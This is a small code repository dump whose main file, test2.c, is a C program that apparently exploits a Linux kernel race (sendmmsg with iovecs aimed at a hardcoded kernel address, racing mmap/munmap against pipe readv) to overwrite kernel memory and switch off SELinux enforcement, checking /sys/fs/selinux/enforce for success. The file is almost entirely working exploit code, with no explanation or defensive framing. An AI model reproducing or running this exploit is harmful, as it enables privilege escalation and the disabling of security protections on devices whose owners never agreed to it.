├── README.md └── test2.c /README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idl3r/testcode/36b38867325cfa8773e0175c5909125ccca4077f/README.md -------------------------------------------------------------------------------- /test2.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #define INADDR_LOOPBACK (0x7f000001) /* 127.0.0.1 */ 16 | 17 | unsigned long kill_switch = 0; 18 | 19 | #define MMAP_START (0x40000000) 20 | #define MMAP_SIZE (0x1000) 21 | #define MMAP_BASE(i) (MMAP_START + (i) * MMAP_SIZE) 22 | #define NR_MMAPS (512) 23 | enum mmap_status_t { 24 | MMAP_MAPPED = 0, 25 | MMAP_UNMAPPED 26 | }; 27 | struct mmap_info_t { 28 | size_t base; 29 | size_t len; 30 | void * vaddr; 31 | enum mmap_status_t status; 32 | }; 33 | struct mmap_info_t mmap_info[NR_MMAPS]; 34 | pthread_t mmap_thread; 35 | static struct iovec mmap_iov[NR_MMAPS]; 36 | 37 | #define NR_PIPES (1) 38 | #define MAX_RACE_SECS (5) 39 | struct pipe_pair_t { 40 | int fd[2]; 41 | }; 42 | struct pipe_pair_t pipes[NR_PIPES]; 43 | pthread_t pipe_read_threads[NR_PIPES]; 44 | pthread_t pipe_write_threads[NR_PIPES]; 45 | 46 | #define NR_SOCKS (1000) 47 | pthread_t sendmmsg_threads[NR_SOCKS]; 48 | 49 | static inline void init_mmap() 50 | { 51 | int i; 52 | 53 | for (i = 0; i < NR_MMAPS; i++) { 54 | mmap_info[i].base = MMAP_BASE(i); 55 | mmap_info[i].len = MMAP_SIZE; 56 | mmap_info[i].vaddr = mmap( 57 | (void *)mmap_info[i].base, mmap_info[i].len, 58 | PROT_EXEC | PROT_READ | PROT_WRITE, 59 | MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, 60 | -1, 0 61 | ); 62 | 63 | if (mmap_info[i].vaddr == (void *)-1) { 64 | perror("mmap failed"); 65 | exit(1); 66 | } 67 | 68 | mmap_iov[i].iov_base = mmap_info[i].vaddr; 69 | switch(i) { 70 | case 0: 71 | mmap_iov[i].iov_len = 0; 72 | break; 73 | case 1: 74 | mmap_iov[i].iov_len = 32; 75 | break; 76 | default: 77 | mmap_iov[i].iov_len = 8; 78 | } 79 | } 80 | 81 | return; 82 | } 83 | 84 | static inline void init_pipes() 85 | { 86 | int i; 87 | 88 | for (i = 0; i < NR_PIPES; i++) { 89 | if (pipe(pipes[i].fd) == -1) { 90 | perror("pipe failed"); 91 | exit(1); 92 | } 93 | } 94 | 95 | return; 96 | } 97 | 98 | int server_sockfd; 99 | struct sockaddr_in sk_client; 100 | #define UDP_SERVER_PORT (5105) 101 | struct iovec msg_iovecs[NR_MMAPS]; 102 | size_t target_addr = 0xffffffc001e3c0c4UL; 103 | static inline void init_sock() 104 | { 105 | int i; 106 | struct sockaddr_in server; 107 | 108 | server_sockfd = socket(AF_INET, SOCK_DGRAM, 0); 109 | if (server_sockfd == -1) { 110 | perror("socket failed"); 111 | exit(2); 112 | } 113 | 114 | server.sin_family = AF_INET; 115 | server.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 116 | server.sin_port = htons(UDP_SERVER_PORT); 117 | memcpy(&sk_client, &server, sizeof(server)); 118 | 119 | if (bind(server_sockfd, (struct sockaddr *)&server, sizeof(server)) == -1) { 120 | perror("bind failed"); 121 | exit(2); 122 | } 123 | 124 | /* Also initialize client side iovecs here */ 125 | for (i = 0; i < NR_MMAPS; i++) { 126 | msg_iovecs[i].iov_base = (void *)MMAP_START; 127 | msg_iovecs[i].iov_len = 0x1000; 128 | } 129 | msg_iovecs[0].iov_len = 0; 130 | msg_iovecs[256].iov_len = 0; 131 | msg_iovecs[1].iov_base = (void *)target_addr; 132 | msg_iovecs[1].iov_len = 4; 133 | msg_iovecs[257].iov_base = (void *)target_addr; 134 | msg_iovecs[257].iov_len = 4; 135 | } 136 | 137 | void *sendmmsg_thread_func(void *p) 138 | { 139 | int sockfd; 140 | struct mmsghdr msg; 141 | int retval; 142 | 143 | sockfd = socket(AF_INET, SOCK_DGRAM, 0); 144 | if (sockfd == -1) { 145 | perror("socket client failed"); 146 | pthread_exit(NULL); 147 | } 148 | 149 | if (connect(sockfd, (struct sockaddr *)&sk_client, sizeof(sk_client)) == -1) { 150 | perror("connect failed"); 151 | pthread_exit(NULL); 152 | } 153 | 154 | msg.msg_hdr.msg_iov = &msg_iovecs[0]; 155 | msg.msg_hdr.msg_iovlen = NR_MMAPS; 156 | 157 | for(;;) { 158 | if (kill_switch) { break; } 159 | 160 | retval = sendmmsg(sockfd, &msg, 1, 0); 161 | } 162 | 163 | SENDMMSG_THREAD_FUNC_EXIT: 164 | close(sockfd); 165 | 166 | pthread_exit(NULL); 167 | } 168 | 169 | void *mmap_thread_func(void *p) 170 | { 171 | int i = 2; 172 | 173 | for(;; ) { 174 | if (kill_switch) { break; } 175 | if (i >= NR_MMAPS) { i -= NR_MMAPS; } 176 | 177 | munmap(mmap_info[i].vaddr, mmap_info[i].len); 178 | mmap_info[i].status = MMAP_UNMAPPED; 179 | 180 | mmap_info[i].vaddr = mmap( 181 | (void *)mmap_info[i].base, mmap_info[i].len, 182 | PROT_EXEC | PROT_READ | PROT_WRITE, 183 | MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, 184 | -1, 0 185 | ); 186 | 187 | if (mmap_info[i].vaddr == (void *)-1) { 188 | perror("mmap failed"); 189 | } 190 | } 191 | 192 | pthread_exit(NULL); 193 | } 194 | 195 | static const unsigned long pipe_buf[16] = { 196 | 0, 0, 0, 0, 0, 0, 0, 0, 197 | 0, 0, 0, 0, 0, 0, 0, 0, 198 | }; 199 | void *pipe_write_func(void *arg) 200 | { 201 | int pipe_fd = (int)arg; 202 | ssize_t len; 203 | 204 | for (;;) { 205 | if (kill_switch) { break; } 206 | write(pipe_fd, pipe_buf, sizeof(pipe_buf)); 207 | } 208 | 209 | fprintf(stderr, "pipe_write_func quit\n"); 210 | 211 | pthread_exit(NULL); 212 | } 213 | 214 | static inline int is_selinux_enforcing() 215 | { 216 | int fd; 217 | char c; 218 | 219 | fd = open("/sys/fs/selinux/enforce", O_RDONLY); 220 | if (fd == -1) { 221 | return 1; 222 | } 223 | 224 | read(fd, &c, 1); 225 | if (c == '0') { 226 | close(fd); 227 | return 0; 228 | } 229 | 230 | close(fd); 231 | return 1; 232 | } 233 | 234 | void *pipe_read_func(void *arg) 235 | { 236 | int pipe_fd = (int)arg; 237 | ssize_t len; 238 | time_t t1, t2; 239 | int c = 0; 240 | 241 | t1 = time(NULL); 242 | 243 | for(;;) { 244 | if (kill_switch) { break; } 245 | len = readv(pipe_fd, &mmap_iov[0], NR_MMAPS); 246 | if (!is_selinux_enforcing()) { 247 | fprintf(stderr, "selinux disabled\n"); 248 | pthread_exit(NULL); 249 | } 250 | usleep(10); 251 | 252 | c++; 253 | if ((c & 0x1000) == 0x1000) { 254 | c = 0; 255 | t2 = time(NULL); 256 | if ((t2 - t1) >= MAX_RACE_SECS) { 257 | pthread_exit((void *)-1); 258 | } 259 | } 260 | } 261 | 262 | pthread_exit(NULL); 263 | } 264 | 265 | /* Note: adjust rlimit if needed for more allowed open fd */ 266 | int main(int argc, char **argv) 267 | { 268 | int i; 269 | int rc; 270 | void *thread_retval; 271 | int retry; 272 | 273 | if (argc > 1) { 274 | target_addr = strtoul(argv[1], NULL, 0); 275 | } 276 | fprintf(stderr, "target_addr = %p\n", (void *)target_addr); 277 | 278 | init_sock(); 279 | init_mmap(); 280 | 281 | redo: 282 | retry = 0; 283 | init_pipes(); 284 | 285 | for (i = 0; i < NR_SOCKS; i++) { 286 | rc = pthread_create(&sendmmsg_threads[i], NULL, 287 | sendmmsg_thread_func, NULL); 288 | 289 | if (rc) { 290 | perror("sendmmsg_threads failed"); 291 | 292 | exit(2); 293 | } 294 | } 295 | 296 | sleep(3); 297 | kill_switch = 1; 298 | for (i = 0; i < NR_SOCKS; i++) { 299 | pthread_join(sendmmsg_threads[i], &thread_retval); 300 | } 301 | kill_switch = 0; 302 | sleep(1); 303 | 304 | rc = pthread_create(&mmap_thread, NULL, mmap_thread_func, NULL); 305 | if (rc) { 306 | perror("mmap_thread failed"); 307 | } 308 | 309 | for (i = 0; i < NR_PIPES; i++) { 310 | rc = pthread_create(&pipe_write_threads[i], NULL, 311 | pipe_write_func, (void *)pipes[i].fd[1]); 312 | if (rc) { 313 | perror("pipe_write_thread failed"); 314 | exit(2); 315 | } 316 | 317 | rc = pthread_create(&pipe_read_threads[i], NULL, 318 | pipe_read_func, (void *)pipes[i].fd[0]); 319 | if (rc) { 320 | perror("pipe_read_thread failed"); 321 | exit(2); 322 | } 323 | } 324 | 325 | for (i = 0; i < NR_PIPES; i++) { 326 | fprintf(stderr, "join read thread %d...\n", i); 327 | pthread_join(pipe_read_threads[i], &thread_retval); 328 | if (thread_retval == (void *)-1) { 329 | retry = 1; 330 | } 331 | fprintf(stderr, "done\n"); 332 | } 333 | 334 | kill_switch = 1; 335 | fprintf(stderr, "kill others\n"); 336 | fprintf(stderr, "join mmap thread...\n"); 337 | pthread_join(mmap_thread, &thread_retval); 338 | fprintf(stderr, "done\n"); 339 | 340 | for (i = 0; i < NR_PIPES; i++) { 341 | for(;;) { 342 | if (close(pipes[i].fd[0])) { 343 | perror("close write pipe failed"); 344 | continue; 345 | } 346 | 347 | if (close(pipes[i].fd[1])) { 348 | perror("close read pipe failed"); 349 | continue; 350 | } 351 | break; 352 | } 353 | } 354 | fprintf(stderr, "pipe closed\n"); 355 | 356 | if (retry) { 357 | goto redo; 358 | } 359 | 360 | exit(0); 361 | 362 | return 0; 363 | } 364 | --------------------------------------------------------------------------------